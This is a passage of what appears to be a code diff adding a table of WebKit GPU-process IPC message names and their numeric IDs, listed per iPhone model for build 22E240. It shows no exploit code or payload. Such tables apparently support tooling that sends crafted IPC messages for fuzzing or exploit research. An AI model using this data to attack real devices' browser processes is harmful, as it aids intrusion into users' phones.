RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,3_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,4_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,5_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,6_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,7_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone14,8_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,2_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,3_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,4_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone15,5_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone16,1_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone16,2_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c1, + SyncMessageReply: 0xbdd, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xaca + }, + "iPhone17,1_22E240": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbd9, + ProcessOutOfStreamMessage: 0xbdb, + RemoteDisplayListRecorder_DrawGlyphs: 0x3ca, + RemoteDisplayListRecorder_FillRect: 0x3df, + RemoteDisplayListRecorder_SetCTM: 0x3ea, + RemoteDisplayListRecorder_StrokeRect: 0x3fe, + RemoteGraphicsContextGLProxy_WasCreated: 0x408, + RemoteGraphicsContextGL_AttachShader: 0x40c, + RemoteGraphicsContextGL_BindBuffer: 0x411, + RemoteGraphicsContextGL_BindTexture: 0x417, + RemoteGraphicsContextGL_BufferData0: 0x424, + RemoteGraphicsContextGL_BufferData1: 0x425, + RemoteGraphicsContextGL_BufferSubData: 0x426, + RemoteGraphicsContextGL_CompileShader: 0x432, + RemoteGraphicsContextGL_CreateBuffer: 0x43f, + RemoteGraphicsContextGL_CreateProgram: 0x441, + RemoteGraphicsContextGL_CreateShader: 0x446, + RemoteGraphicsContextGL_CreateTexture: 0x447, + RemoteGraphicsContextGL_Finish: 0x46f, + RemoteGraphicsContextGL_Flush: 0x470, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0d, + RemoteGraphicsContextGL_GetShaderSource: 0xf25, + RemoteGraphicsContextGL_LinkProgram: 0x47a, + RemoteGraphicsContextGL_PixelStorei: 0x482, + RemoteGraphicsContextGL_Reshape: 0x48d, + RemoteGraphicsContextGL_ShaderSource: 0x496, + RemoteGraphicsContextGL_TexImage2D1: 0x49f, + RemoteGraphicsContextGL_UseProgram: 0x4cd, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d5, + RemoteImageBufferProxy_DidCreateBackend: 0x4e0, + RemoteImageBuffer_PutPixelBuffer: 0x4e6, + RemoteRenderingBackendProxy_DidInitialize: 0x5a4, + RemoteRenderingBackend_CacheFont: 0x5a8, + RemoteRenderingBackend_CreateImageBuffer: 0x5ac, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bc, + 